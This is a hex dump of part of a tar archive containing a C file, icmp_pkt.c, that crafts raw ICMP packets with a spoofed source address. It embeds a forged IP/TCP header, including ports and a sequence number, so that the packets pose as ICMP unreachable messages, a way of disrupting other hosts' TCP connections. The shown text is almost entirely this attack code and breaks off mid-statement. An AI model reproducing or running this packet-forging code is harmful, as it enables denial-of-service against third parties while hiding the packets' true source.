|00002160| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00002170| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00002180| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00002190| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000021a0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000021b0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000021c0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000021d0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000021e0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000021f0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00002200| 69 63 6d 70 5f 70 6b 74 | 2e 63 00 00 00 00 00 00 |icmp_pkt|.c......|
|00002210| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00002220| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00002230| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00002240| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00002250| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00002260| 00 00 00 00 31 30 30 36 | 34 34 20 00 20 20 20 37 |....1006|44 . 7|
|00002270| 36 35 20 00 20 20 20 31 | 34 34 20 00 20 20 20 20 |65 . 1|44 . |
|00002280| 20 20 20 37 35 32 30 20 | 20 36 31 34 37 34 34 34 | 7520 | 6147444|
|00002290| 36 30 31 20 20 31 31 35 | 37 33 00 20 30 00 00 00 |601 115|73. 0...|
|000022a0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000022b0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000022c0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000022d0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000022e0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000022f0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00002300| 00 75 73 74 61 72 20 20 | 00 6b 72 65 77 6c 00 00 |.ustar |.krewl..|
|00002310| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00002320| 00 00 00 00 00 00 00 00 | 00 75 73 65 72 73 00 00 |........|.users..|
|00002330| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00002340| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00002350| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00002360| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00002370| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00002380| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00002390| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000023a0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000023b0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000023c0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000023d0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000023e0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000023f0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00002400| 2f 2a 0a 20 2a 20 69 63 | 6d 70 5f 70 6b 74 2e 63 |/*. * ic|mp_pkt.c|
|00002410| 0a 20 2a 20 62 79 20 63 | 72 69 73 6b 0a 20 2a 20 |. * by c|risk. * |
|00002420| 20 0a 20 2a 20 72 6f 75 | 74 69 6e 65 73 20 74 6f | . * rou|tines to|
|00002430| 20 73 65 6e 64 20 61 20 | 63 75 73 74 6f 6d 20 69 | send a |custom i|
|00002440| 63 6d 70 2f 69 70 20 70 | 61 63 6b 65 74 20 6f 76 |cmp/ip p|acket ov|
|00002450| 65 72 20 74 68 65 20 6e | 65 74 2e 0a 20 2a 20 0a |er the n|et.. * .|
|00002460| 20 2a 20 43 48 41 4e 47 | 45 53 3a 20 63 68 61 6e | * CHANG|ES: chan|
|00002470| 67 65 64 20 74 74 6c 20 | 76 61 6c 75 65 20 6f 6e |ged ttl |value on|
|00002480| 20 62 6f 74 68 20 68 65 | 61 64 65 72 73 20 74 6f | both he|aders to|
|00002490| 20 62 65 20 70 6f 73 73 | 69 62 6c 65 20 74 6f 20 | be poss|ible to |
|000024a0| 73 75 63 68 20 61 20 70 | 61 63 6b 65 74 2e 20 0a |such a p|acket. .|
|000024b0| 20 2a 20 0a 20 2a 2f 0a | 0a 23 64 65 66 69 6e 65 | * . */.|.#define|
|000024c0| 20 49 50 48 44 52 53 49 | 5a 45 20 73 69 7a 65 6f | IPHDRSI|ZE sizeo|
|000024d0| 66 28 73 74 72 75 63 74 | 20 69 70 68 64 72 29 0a |f(struct| iphdr).|
|000024e0| 23 64 65 66 69 6e 65 20 | 49 43 4d 50 48 44 52 53 |#define |ICMPHDRS|
|000024f0| 49 5a 45 20 73 69 7a 65 | 6f 66 28 73 74 72 75 63 |IZE size|of(struc|
|00002500| 74 20 69 63 6d 70 68 64 | 72 29 0a 0a 23 69 6e 63 |t icmphd|r)..#inc|
|00002510| 6c 75 64 65 20 3c 73 79 | 73 2f 74 79 70 65 73 2e |lude <sy|s/types.|
|00002520| 68 3e 0a 23 69 6e 63 6c | 75 64 65 20 3c 73 79 73 |h>.#incl|ude <sys|
|00002530| 2f 73 6f 63 6b 65 74 2e | 68 3e 0a 0a 23 69 6e 63 |/socket.|h>..#inc|
|00002540| 6c 75 64 65 20 3c 6e 65 | 74 69 6e 65 74 2f 69 70 |lude <ne|tinet/ip|
|00002550| 2e 68 3e 0a 23 69 6e 63 | 6c 75 64 65 20 3c 6e 65 |.h>.#inc|lude <ne|
|00002560| 74 69 6e 65 74 2f 69 6e | 2e 68 3e 0a 23 69 6e 63 |tinet/in|.h>.#inc|
|00002570| 6c 75 64 65 20 3c 6e 65 | 74 69 6e 65 74 2f 69 70 |lude <ne|tinet/ip|
|00002580| 5f 69 63 6d 70 2e 68 3e | 0a 69 6e 74 20 63 69 7a |_icmp.h>|.int ciz|
|00002590| 65 3b 0a 0a 2f 2a 20 2a | 2a 2a 2a 2a 2a 2a 2a 2a |e;../* *|********|
|000025a0| 2a 20 52 49 50 50 45 44 | 20 43 4f 44 45 20 53 54 |* RIPPED| CODE ST|
|000025b0| 41 52 54 20 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |ART ****|********|
|000025c0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000025d0| 2a 2a 2a 2a 20 2a 2f 0a | 0a 2f 2a 0a 20 2a 20 69 |**** */.|./*. * i|
|000025e0| 6e 5f 63 6b 73 75 6d 20 | 2d 2d 0a 20 2a 20 20 43 |n_cksum |--. * C|
|000025f0| 68 65 63 6b 73 75 6d 20 | 72 6f 75 74 69 6e 65 20 |hecksum |routine |
|00002600| 66 6f 72 20 49 6e 74 65 | 72 6e 65 74 20 50 72 6f |for Inte|rnet Pro|
|00002610| 74 6f 63 6f 6c 20 66 61 | 6d 69 6c 79 20 68 65 61 |tocol fa|mily hea|
|00002620| 64 65 72 73 20 28 43 20 | 56 65 72 73 69 6f 6e 29 |ders (C |Version)|
|00002630| 0a 20 2a 2f 0a 75 6e 73 | 69 67 6e 65 64 20 73 68 |. */.uns|igned sh|
|00002640| 6f 72 74 20 69 6e 5f 63 | 6b 73 75 6d 28 61 64 64 |ort in_c|ksum(add|
|00002650| 72 2c 20 6c 65 6e 29 0a | 20 20 20 20 75 5f 73 68 |r, len).| u_sh|
|00002660| 6f 72 74 20 2a 61 64 64 | 72 3b 0a 20 20 20 20 69 |ort *add|r;. i|
|00002670| 6e 74 20 6c 65 6e 3b 0a | 7b 0a 20 20 20 20 72 65 |nt len;.|{. re|
|00002680| 67 69 73 74 65 72 20 69 | 6e 74 20 6e 6c 65 66 74 |gister i|nt nleft|
|00002690| 20 3d 20 6c 65 6e 3b 0a | 20 20 20 20 72 65 67 69 | = len;.| regi|
|000026a0| 73 74 65 72 20 75 5f 73 | 68 6f 72 74 20 2a 77 20 |ster u_s|hort *w |
|000026b0| 3d 20 61 64 64 72 3b 0a | 20 20 20 20 72 65 67 69 |= addr;.| regi|
|000026c0| 73 74 65 72 20 69 6e 74 | 20 73 75 6d 20 3d 20 30 |ster int| sum = 0|
|000026d0| 3b 0a 20 20 20 20 75 5f | 73 68 6f 72 74 20 61 6e |;. u_|short an|
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|000026f0| 2f 2a 0a 20 20 20 20 20 | 2a 20 4f 75 72 20 61 6c |/*. |* Our al|
|00002700| 67 6f 72 69 74 68 6d 20 | 69 73 20 73 69 6d 70 6c |gorithm |is simpl|
|00002710| 65 2c 20 75 73 69 6e 67 | 20 61 20 33 32 20 62 69 |e, using| a 32 bi|
|00002720| 74 20 61 63 63 75 6d 75 | 6c 61 74 6f 72 20 28 73 |t accumu|lator (s|
|00002730| 75 6d 29 2c 20 77 65 20 | 61 64 64 0a 20 20 20 20 |um), we |add. |
|00002740| 20 2a 20 73 65 71 75 65 | 6e 74 69 61 6c 20 31 36 | * seque|ntial 16|
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|00002770| 2c 20 66 6f 6c 64 20 62 | 61 63 6b 20 61 6c 6c 20 |, fold b|ack all |
|00002780| 74 68 65 0a 20 20 20 20 | 20 2a 20 63 61 72 72 79 |the. | * carry|
|00002790| 20 62 69 74 73 20 66 72 | 6f 6d 20 74 68 65 20 74 | bits fr|om the t|
|000027a0| 6f 70 20 31 36 20 62 69 | 74 73 20 69 6e 74 6f 20 |op 16 bi|ts into |
|000027b0| 74 68 65 20 6c 6f 77 65 | 72 20 31 36 20 62 69 74 |the lowe|r 16 bit|
|000027c0| 73 2e 0a 20 20 20 20 20 | 2a 2f 0a 20 20 20 20 77 |s.. |*/. w|
|000027d0| 68 69 6c 65 20 28 6e 6c | 65 66 74 20 3e 20 31 29 |hile (nl|eft > 1)|
|000027e0| 20 20 7b 0a 20 20 20 20 | 20 20 20 20 73 75 6d 20 | {. | sum |
|000027f0| 2b 3d 20 2a 77 2b 2b 3b | 0a 20 20 20 20 20 20 20 |+= *w++;|. |
|00002800| 20 6e 6c 65 66 74 20 2d | 3d 20 32 3b 0a 20 20 20 | nleft -|= 2;. |
|00002810| 20 7d 0a 20 0a 20 20 20 | 20 2f 2a 20 6d 6f 70 20 | }. . | /* mop |
|00002820| 75 70 20 61 6e 20 6f 64 | 64 20 62 79 74 65 2c 20 |up an od|d byte, |
|00002830| 69 66 20 6e 65 63 65 73 | 73 61 72 79 20 2a 2f 0a |if neces|sary */.|
|00002840| 20 20 20 20 69 66 20 28 | 6e 6c 65 66 74 20 3d 3d | if (|nleft ==|
|00002850| 20 31 29 20 7b 0a 20 20 | 20 20 20 20 20 20 2a 28 | 1) {. | *(|
|00002860| 75 5f 63 68 61 72 20 2a | 29 28 26 61 6e 73 77 65 |u_char *|)(&answe|
|00002870| 72 29 20 3d 20 2a 28 75 | 5f 63 68 61 72 20 2a 29 |r) = *(u|_char *)|
|00002880| 77 20 3b 0a 20 20 20 20 | 20 20 20 20 73 75 6d 20 |w ;. | sum |
|00002890| 2b 3d 20 61 6e 73 77 65 | 72 3b 0a 20 20 20 20 7d |+= answe|r;. }|
|000028a0| 0a 20 0a 20 20 20 20 2f | 2a 20 61 64 64 20 62 61 |. . /|* add ba|
|000028b0| 63 6b 20 63 61 72 72 79 | 20 6f 75 74 73 20 66 72 |ck carry| outs fr|
|000028c0| 6f 6d 20 74 6f 70 20 31 | 36 20 62 69 74 73 20 74 |om top 1|6 bits t|
|000028d0| 6f 20 6c 6f 77 20 31 36 | 20 62 69 74 73 20 2a 2f |o low 16| bits */|
|000028e0| 0a 20 20 20 20 73 75 6d | 20 3d 20 28 73 75 6d 20 |. sum| = (sum |
|000028f0| 3e 3e 20 31 36 29 20 2b | 20 28 73 75 6d 20 26 20 |>> 16) +| (sum & |
|00002900| 30 78 66 66 66 66 29 3b | 20 2f 2a 20 61 64 64 20 |0xffff);| /* add |
|00002910| 68 69 20 31 36 20 74 6f | 20 6c 6f 77 20 31 36 20 |hi 16 to| low 16 |
|00002920| 2a 2f 0a 20 20 20 20 73 | 75 6d 20 2b 3d 20 28 73 |*/. s|um += (s|
|00002930| 75 6d 20 3e 3e 20 31 36 | 29 3b 20 20 20 20 20 20 |um >> 16|); |
|00002940| 20 20 20 2f 2a 20 61 64 | 64 20 63 61 72 72 79 20 | /* ad|d carry |
|00002950| 2a 2f 0a 20 20 20 20 61 | 6e 73 77 65 72 20 3d 20 |*/. a|nswer = |
|00002960| 7e 73 75 6d 3b 20 20 20 | 20 20 20 20 20 20 20 20 |~sum; | |
|00002970| 20 20 20 2f 2a 20 74 72 | 75 6e 63 61 74 65 20 74 | /* tr|uncate t|
|00002980| 6f 20 31 36 20 62 69 74 | 73 20 2a 2f 0a 20 20 20 |o 16 bit|s */. |
|00002990| 20 72 65 74 75 72 6e 28 | 61 6e 73 77 65 72 29 3b | return(|answer);|
|000029a0| 0a 7d 0a 0a 2f 2a 20 2a | 2a 2a 2a 2a 2a 2a 2a 2a |.}../* *|********|
|000029b0| 2a 20 52 49 50 50 45 44 | 20 43 4f 44 45 20 45 4e |* RIPPED| CODE EN|
|000029c0| 44 20 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |D ******|********|
|000029d0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000029e0| 2a 2a 20 2a 2f 0a 0a 0a | 2f 2a 0a 20 2a 20 69 63 |** */...|/*. * ic|
|000029f0| 6d 70 5f 75 6e 72 65 61 | 63 68 5f 73 65 6e 64 28 |mp_unrea|ch_send(|
|00002a00| 29 0a 20 2a 20 62 75 69 | 6c 64 73 20 61 6e 64 20 |). * bui|lds and |
|00002a10| 73 65 6e 64 73 20 61 6e | 20 49 43 4d 50 20 75 6e |sends an| ICMP un|
|00002a20| 72 65 61 63 68 61 62 6c | 65 20 70 61 63 6b 65 74 |reachabl|e packet|
|00002a30| 2e 20 53 69 6e 63 65 20 | 49 43 4d 50 20 75 6e 72 |. Since |ICMP unr|
|00002a40| 65 61 63 68 61 62 6c 65 | 20 70 61 63 6b 65 74 73 |eachable| packets|
|00002a50| 0a 20 2a 20 63 6f 6e 74 | 61 69 6e 20 74 68 65 20 |. * cont|ain the |
|00002a60| 49 50 20 68 65 61 64 65 | 72 20 2b 20 36 34 20 62 |IP heade|r + 64 b|
|00002a70| 69 74 73 20 6f 66 20 6f | 72 69 67 69 6e 61 6c 20 |its of o|riginal |
|00002a80| 64 61 74 61 67 72 61 6d | 2c 20 77 65 20 63 72 65 |datagram|, we cre|
|00002a90| 61 74 65 20 61 20 62 6f | 67 75 73 0a 20 2a 20 49 |ate a bo|gus. * I|
|00002aa0| 50 20 68 65 61 64 65 72 | 20 61 6e 64 20 74 68 65 |P header| and the|
|00002ab0| 20 66 69 72 73 74 20 36 | 34 20 62 69 74 73 20 6f | first 6|4 bits o|
|00002ac0| 66 20 61 20 54 43 50 20 | 68 65 61 64 65 72 20 28 |f a TCP |header (|
|00002ad0| 70 6f 72 74 73 20 61 6e | 64 20 73 79 6e 29 2e 20 |ports an|d syn). |
|00002ae0| 0a 20 2a 0a 20 2a 2f 0a | 0a 20 69 6e 6c 69 6e 65 |. *. */.|. inline|
|00002af0| 20 69 6e 74 20 69 63 6d | 70 5f 75 6e 72 65 61 63 | int icm|p_unreac|
|00002b00| 68 5f 73 65 6e 64 28 69 | 6e 74 20 20 20 20 20 20 |h_send(i|nt |
|00002b10| 20 20 20 20 20 20 20 20 | 20 20 73 6f 63 6b 65 74 | | socket|
|00002b20| 2c 20 0a 20 20 20 20 20 | 20 20 09 09 09 20 20 20 |, . | ... |
|00002b30| 20 20 20 73 74 72 75 63 | 74 20 73 6f 63 6b 61 64 | struc|t sockad|
|00002b40| 64 72 5f 69 6e 20 2a 61 | 64 64 72 65 73 73 2c 0a |dr_in *a|ddress,.|
|00002b50| 20 09 09 09 20 20 20 20 | 20 20 75 6e 73 69 67 6e | ... | unsign|
|00002b60| 65 64 20 63 68 61 72 20 | 20 20 20 20 20 69 63 6d |ed char | icm|
|00002b70| 70 5f 63 6f 64 65 2c 0a | 20 09 09 09 20 20 20 20 |p_code,.| ... |
|00002b80| 20 20 75 6e 73 69 67 6e | 65 64 20 6c 6f 6e 67 20 | unsign|ed long |
|00002b90| 20 20 20 20 20 73 70 6f | 6f 66 5f 61 64 64 72 2c | spo|of_addr,|
|00002ba0| 0a 09 09 09 20 20 20 20 | 20 20 75 6e 73 69 67 6e |.... | unsign|
|00002bb0| 65 64 20 6c 6f 6e 67 20 | 20 20 20 20 20 73 5f 61 |ed long | s_a|
|00002bc0| 64 64 72 2c 0a 09 09 09 | 20 20 20 20 20 20 75 6e |ddr,....| un|
|00002bd0| 73 69 67 6e 65 64 20 6c | 6f 6e 67 20 20 20 20 20 |signed l|ong |
|00002be0| 20 74 5f 61 64 64 72 2c | 0a 09 09 09 20 20 20 20 | t_addr,|.... |
|00002bf0| 20 20 75 6e 73 69 67 6e | 65 64 20 20 20 20 20 20 | unsign|ed |
|00002c00| 20 20 20 20 20 73 5f 70 | 6f 72 74 2c 0a 09 09 09 | s_p|ort,....|
|00002c10| 20 20 20 20 20 20 75 6e | 73 69 67 6e 65 64 20 20 | un|signed |
|00002c20| 20 20 20 20 20 20 20 20 | 20 74 5f 70 6f 72 74 2c | | t_port,|
|00002c30| 0a 09 09 09 20 20 20 20 | 20 20 75 6e 73 69 67 6e |.... | unsign|
|00002c40| 65 64 20 6c 6f 6e 67 20 | 20 20 20 20 20 73 65 71 |ed long | seq|
|00002c50| 29 0a 20 20 20 20 20 7b | 0a 09 75 6e 73 69 67 6e |). {|..unsign|
|00002c60| 65 64 20 63 68 61 72 20 | 70 61 63 6b 65 74 5b 34 |ed char |packet[4|
|00002c70| 30 39 38 5d 3b 0a 09 73 | 74 72 75 63 74 20 69 70 |098];..s|truct ip|
|00002c80| 68 64 72 20 20 20 2a 69 | 70 3b 0a 09 73 74 72 75 |hdr *i|p;..stru|
|00002c90| 63 74 20 69 63 6d 70 68 | 64 72 20 2a 69 63 6d 70 |ct icmph|dr *icmp|
|00002ca0| 3b 0a 09 73 74 72 75 63 | 74 20 69 70 68 64 72 20 |;..struc|t iphdr |
|00002cb0| 20 20 2a 6f 72 69 67 69 | 70 3b 0a 09 75 6e 73 69 | *origi|p;..unsi|
|00002cc0| 67 6e 65 64 20 63 68 61 | 72 20 20 2a 64 61 74 61 |gned cha|r *data|
|00002cd0| 3b 0a 20 20 20 20 20 20 | 20 20 69 6e 74 20 69 3b |;. | int i;|
|00002ce0| 0a 09 0a 09 0a 09 69 70 | 20 3d 20 28 73 74 72 75 |......ip| = (stru|
|00002cf0| 63 74 20 69 70 68 64 72 | 20 2a 29 70 61 63 6b 65 |ct iphdr| *)packe|
|00002d00| 74 3b 0a 09 69 63 6d 70 | 20 3d 20 28 73 74 72 75 |t;..icmp| = (stru|
|00002d10| 63 74 20 69 63 6d 70 68 | 64 72 20 2a 29 28 70 61 |ct icmph|dr *)(pa|
|00002d20| 63 6b 65 74 2b 49 50 48 | 44 52 53 49 5a 45 29 3b |cket+IPH|DRSIZE);|
|00002d30| 0a 09 6f 72 69 67 69 70 | 20 3d 20 28 73 74 72 75 |..origip| = (stru|
|00002d40| 63 74 20 69 70 68 64 72 | 20 2a 29 28 70 61 63 6b |ct iphdr| *)(pack|
|00002d50| 65 74 2b 49 50 48 44 52 | 53 49 5a 45 2b 49 43 4d |et+IPHDR|SIZE+ICM|
|00002d60| 50 48 44 52 53 49 5a 45 | 29 3b 0a 09 64 61 74 61 |PHDRSIZE|);..data|
|00002d70| 20 3d 20 28 63 68 61 72 | 20 2a 29 28 70 61 63 6b | = (char| *)(pack|
|00002d80| 65 74 2b 49 50 48 44 52 | 53 49 5a 45 2b 49 50 48 |et+IPHDR|SIZE+IPH|
|00002d90| 44 52 53 49 5a 45 2b 49 | 43 4d 50 48 44 52 53 49 |DRSIZE+I|CMPHDRSI|
|00002da0| 5a 45 29 3b 0a 09 0a 09 | 6d 65 6d 73 65 74 28 70 |ZE);....|memset(p|
|00002db0| 61 63 6b 65 74 2c 20 30 | 2c 20 34 30 39 38 29 3b |acket, 0|, 4098);|
|00002dc0| 0a 09 0a 09 69 70 2d 3e | 73 61 64 64 72 20 20 20 |....ip->|saddr |
|00002dd0| 20 3d 20 73 70 6f 6f 66 | 5f 61 64 64 72 3b 0a 09 | = spoof|_addr;..|
|00002de0| 69 70 2d 3e 64 61 64 64 | 72 20 20 20 20 3d 20 74 |ip->dadd|r = t|
|00002df0| 5f 61 64 64 72 3b 0a 09 | 69 70 2d 3e 76 65 72 73 |_addr;..|ip->vers|
|00002e00| 69 6f 6e 20 20 3d 20 34 | 3b 0a 09 69 70 2d 3e 69 |ion = 4|;..ip->i|
|00002e10| 68 6c 20 20 20 20 20 20 | 3d 20 35 3b 20 0a 09 69 |hl |= 5; ..i|
|00002e20| 70 2d 3e 74 74 6c 20 20 | 20 20 20 20 3d 20 32 35 |p->ttl | = 25|
|00002e30| 35 2d 72 61 6e 64 6f 6d | 28 29 25 31 35 3b 0a 09 |5-random|()%15;..|
|00002e40| 69 70 2d 3e 70 72 6f 74 | 6f 63 6f 6c 20 3d 20 49 |ip->prot|ocol = I|
|00002e50| 50 50 52 4f 54 4f 5f 49 | 43 4d 50 3b 0a 09 69 70 |PPROTO_I|CMP;..ip|
|00002e60| 2d 3e 74 6f 74 5f 6c 65 | 6e 20 20 3d 20 68 74 6f |->tot_le|n = hto|
|00002e70| 6e 73 28 49 50 48 44 52 | 53 49 5a 45 20 2b 20 63 |ns(IPHDR|SIZE + c|
|00002e80| 69 7a 65 20 2b 20 49 43 | 4d 50 48 44 52 53 49 5a |ize + IC|MPHDRSIZ|
|00002e90| 45 20 2b 20 49 50 48 44 | 52 53 49 5a 45 20 2b 20 |E + IPHD|RSIZE + |
|00002ea0| 38 29 3b 0a 09 0a 09 69 | 70 2d 3e 63 68 65 63 6b |8);....i|p->check|
|00002eb0| 20 20 20 20 3d 20 69 6e | 5f 63 6b 73 75 6d 28 70 | = in|_cksum(p|
|00002ec0| 61 63 6b 65 74 2c 49 50 | 48 44 52 53 49 5a 45 29 |acket,IP|HDRSIZE)|
|00002ed0| 3b 0a 09 0a 20 20 20 20 | 20 20 20 20 6f 72 69 67 |;... | orig|
|00002ee0| 69 70 2d 3e 73 61 64 64 | 72 20 20 20 20 3d 20 74 |ip->sadd|r = t|
|00002ef0| 5f 61 64 64 72 3b 20 20 | 20 2f 2a 20 74 68 69 73 |_addr; | /* this|
|00002f00| 20 69 73 20 74 68 65 20 | 27 6f 72 69 67 69 6e 61 | is the |'origina|
|00002f10| 6c 27 20 68 65 61 64 65 | 72 2e 20 2a 2f 0a 09 6f |l' heade|r. */..o|
|00002f20| 72 69 67 69 70 2d 3e 64 | 61 64 64 72 20 20 20 20 |rigip->d|addr |
|00002f30| 3d 20 73 5f 61 64 64 72 | 3b 0a 09 6f 72 69 67 69 |= s_addr|;..origi|
|00002f40| 70 2d 3e 76 65 72 73 69 | 6f 6e 20 20 3d 20 34 3b |p->versi|on = 4;|
|00002f50| 0a 09 6f 72 69 67 69 70 | 2d 3e 69 68 6c 20 20 20 |..origip|->ihl |
|00002f60| 20 20 20 3d 20 35 3b 0a | 09 6f 72 69 67 69 70 2d | = 5;.|.origip-|
|00002f70| 3e 74 74 6c 20 20 20 20 | 20 20 3d 20 69 70 2d 3e |>ttl | = ip->|
|00002f80| 74 74 6c 20 2d 20 72 61 | 6e 64 6f 6d 28 29 25 31 |ttl - ra|ndom()%1|
|00002f90| 35 3b 0a 09 6f 72 69 67 | 69 70 2d 3e 70 72 6f 74 |5;..orig|ip->prot|
|00002fa0| 6f 63 6f 6c 20 3d 20 49 | 50 50 52 4f 54 4f 5f 54 |ocol = I|PPROTO_T|
|00002fb0| 43 50 3b 20 0a 09 6f 72 | 69 67 69 70 2d 3e 74 6f |CP; ..or|igip->to|
|00002fc0| 74 5f 6c 65 6e 20 20 3d | 20 49 50 48 44 52 53 49 |t_len =| IPHDRSI|
|00002fd0| 5a 45 20 2b 20 33 30 3b | 20 0a 09 6f 72 69 67 69 |ZE + 30;| ..origi|
|00002fe0| 70 2d 3e 69 64 20 20 20 | 20 20 20 20 3d 20 72 61 |p->id | = ra|
|00002ff0| 6e 64 6f 6d 28 29 25 36 | 39 3b 0a 09 0a 20 20 20 |ndom()%6|9;... |
|00003000| 20 20 20 20 09 6f 72 69 | 67 69 70 2d 3e 63 68 65 | .ori|gip->che|
|00003010| 63 6b 20 3d 20 69 6e 5f | 63 6b 73 75 6d 28 6f 72 |ck = in_|cksum(or|
|00003020| 69 67 69 70 2c 49 50 48 | 44 52 53 49 5a 45 29 3b |igip,IPH|DRSIZE);|
|00003030| 0a 09 0a 09 2a 28 28 75 | 6e 73 69 67 6e 65 64 20 |....*((u|nsigned |
|00003040| 69 6e 74 20 2a 29 64 61 | 74 61 29 20 20 20 20 20 |int *)da|ta) |
|00003050| 20 20 20 20 20 3d 20 68 | 74 6f 6e 73 28 73 5f 70 | = h|tons(s_p|
|00003060| 6f 72 74 29 3b 0a 09 2a | 28 28 75 6e 73 69 67 6e |ort);..*|((unsign|
|00003070| 65 64 20 69 6e 74 20 2a | 29 28 64 61 74 61 2b 32 |ed int *|)(data+2|
|00003080| 29 29 20 20 20 20 20 20 | 3d 20 68 74 6f 6e 73 28 |)) |= htons(|
|00003090| 74 5f 70 6f 72 74 29 3b | 0a 09 2a 28 28 75 6e 73 |t_port);|..*((uns|
|000030a0| 69 67 6e 65 64 20 6c 6f | 6e 67 20 2a 29 28 64 61 |igned lo|ng *)(da|
|000030b0| 74 61 2b 34 29 29 20 20 | 20 20 20 3d 20 68 74 6f |ta+4)) | = hto|
|000030c0| 6e 6c 28 73 65 71 29 3b | 0a 0a 09 2f 2a 20 27 6f |nl(seq);|.../* 'o|
|000030d0| 72 69 67 69 6e 61 6c 20 | 49 50 20 68 65 61 64 65 |riginal |IP heade|
|000030e0| 72 20 2b 20 36 34 20 62 | 69 74 73 20 28 6f 66 20 |r + 64 b|its (of |
|000030f0| 62 6f 67 75 73 20 54 43 | 50 20 68 65 61 64 65 72 |bogus TC|P header|
|00003100| 29 27 20 6d 61 64 65 2e | 20 2a 2f 0a 09 0a 09 69 |)' made.| */....i|
|00003110| 63 6d 70 2d 3e 74 79 70 | 65 20 3d 20 49 43 4d 50 |cmp->typ|e = ICMP|
|00003120| 5f 45 43 48 4f 3b 20 2f | 2a 20 73 68 6f 75 6c 64 |_ECHO; /|* should|
|00003130| 20 62 65 20 33 20 2a 2f | 0a 09 69 63 6d 70 2d 3e | be 3 */|..icmp->|
|00003140| 63 6f 64 65 20 3d 20 69 | 63 6d 70 5f 63 6f 64 65 |code = i|cmp_code|
|00003150| 3b 0a 09 0a 09 69 63 6d | 70 2d 3e 63 68 65 63 6b |;....icm|p->check|
|00003160| 73 75 6d 20 3d 20 69 6e | 5f 63 6b 73 75 6d 28 69 |sum = in|_cksum(i|
|00003170| 63 6d 70 2c 63 69 7a 65 | 2b 49 43 4d 50 48 44 52 |cmp,cize|+ICMPHDR|
|00003180| 53 49 5a 45 2b 49 50 48 | 44 52 53 49 5a 45 2b 38 |SIZE+IPH|DRSIZE+8|
|00003190| 29 3b 0a 0a 09 2f 2a 20 | 74 68 65 20 65 6e 74 69 |);.../* |the enti|
|000031a0| 72 65 20 49 43 4d 50 20 | 70 61 63 6b 65 74 20 69 |re ICMP |packet i|
|000031b0| 74 20 6e 6f 77 20 72 65 | 61 64 79 2e 20 2a 2f 0a |t now re|ady. */.|
|000031c0| 09 09 0a 23 69 66 64 65 | 66 20 49 43 4d 50 5f 50 |...#ifde|f ICMP_P|
|000031d0| 4b 54 5f 44 45 42 55 47 | 09 0a 20 20 20 20 20 20 |KT_DEBUG|.. |
|000031e0| 20 20 70 72 69 6e 74 66 | 28 22 50 61 63 6b 65 74 | printf|("Packet|
|000031f0| 20 72 65 61 64 79 2e 20 | 44 75 6d 70 3a 20 5c 6e | ready. |Dump: \n|
|00003200| 22 29 3b 0a 20 20 20 20 | 20 20 20 20 66 6f 72 20 |");. | for |
|00003210| 28 69 3d 30 3b 69 3c 49 | 50 48 44 52 53 49 5a 45 |(i=0;i<I|PHDRSIZE|
|00003220| 2b 49 43 4d 50 48 44 52 | 53 49 5a 45 2b 49 50 48 |+ICMPHDR|SIZE+IPH|
|00003230| 44 52 53 49 5a 45 2b 38 | 3b 69 2b 2b 29 0a 09 20 |DRSIZE+8|;i++).. |
|00003240| 20 20 70 72 69 6e 74 66 | 28 22 25 30 32 58 25 63 | printf|("%02X%c|
|00003250| 22 2c 2a 28 70 61 63 6b | 65 74 2b 69 29 2c 28 28 |",*(pack|et+i),((|
|00003260| 69 2b 31 29 25 31 36 29 | 20 3f 20 27 20 27 20 3a |i+1)%16)| ? ' ' :|
